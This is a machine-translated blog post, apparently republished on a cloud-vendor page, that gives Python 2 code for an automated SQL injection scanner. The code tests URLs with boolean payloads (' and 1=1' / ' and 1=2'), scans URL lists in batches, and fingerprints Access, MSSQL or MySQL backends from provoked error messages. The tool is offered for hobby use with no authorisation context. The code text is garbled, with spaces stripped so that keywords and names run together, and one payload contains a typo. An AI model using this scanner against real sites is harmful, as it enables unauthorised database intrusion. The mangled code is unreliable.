Python writing SQL injection tools (1)

Source: Internet
Author: User
Tags mssql

written by: Self-taught a bit of SQL injection and Python knowledge. Although, has already had the very good injection tool sqlmap, but oneself wants to write an automatic injection tool to play, writes the Bad place, also hoped to correct.

First part: Injection point Test Module (injecttest.py)

#coding=gb2312ImportUrllibImportOSImportstring fromReImportSearchclassinjecttest ():def __init__(self,url="'): Self.url=url#URL to be detected, default is emptySelf.a='%20and%201=1'  #Detection Statementsself.b='%20and%201=2'Self.urls=[]#presence of injected URLs    #function to detect a single URL    defJudgeurl (self): page=Urllib.urlopen (Self.url). Read () PageA=urllib.urlopen (self.url+self.a). Read () PageB=urllib.urlopen (self.url+self.b). Read ()ifPage==pagea andpage!=PageB:Print 'website', Self.url,'There may be an injection point!'            returnTrueElse:            Print 'Website:', Self.url,'There is no injection point!'            returnFalse#determine if the URL file to be detected exists    deffileexists (self,name): Path=os.getcwd () filepath=path+'\\'filepath=filepath+namereturnos.path.exists (filepath)#for batch inspection    defJudgeurls (self,file): self.fileexists (file)#If there is no default detection URL file, the user will enter the file to be detected by themselves         while  notself.fileexists (file):Print 'The URL file to be detected does not exist'file=str (Raw_input ('Please enter the URL file to be detected:')) self.fileexists (file) URLs=open (file,'R')         forwr.inchurls.readlines ():Print 'Detecting:', url page=urllib.urlopen (URL). Read () PageA=urllib.urlopen (url+self.a). Read () PageB=urllib.urlopen (url+self.b). Read ()ifPage==pagea andpage!=pageb:self.urls.append (URL)Else:                Continue        ifLen (self.urls):Print 'There may be injection points for the following URLs:'             forUinchSelf.urls:PrintuElse:            Print 'No injected URLs exist in this file!'    #determine the type of database that has an injected URL    #If there is no echo error, you may not be able to determine the type of the database    defwhatdatabase (self): DB="'SQL=string.join (['%20and20%user>0'],"') Pagex=urllib.urlopen (self.url+sql). Read ()ifSearch'ODBC Microsoft Access', Pagex)orSearch'Microsoft JET Database', Pagex):Print 'databases: Access'DB='Access'            returnDBelifSearch'SQL Server', Pagex)orSearch'nvarchar', Pagex):Print 'Database: MSSQL'DB='MSSQL'            returnDBelifSearch'You have a error in your SQL syntax', Pagex)orSearch'Query failed', Pagex)orSearch'SQL Query failed', Pagex)orSearch'Mysql_fetch_', Pagex)orSearch'mysql_num_rows', Pagex)orSearch'The used SELECT statements has a different number of columns', Pagex):Print 'Database: MYSQL'DB='MYSQL'            returnDBElse:            Print 'the database type was not judged!'            returnDb

Python writing SQL injection tools (1)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.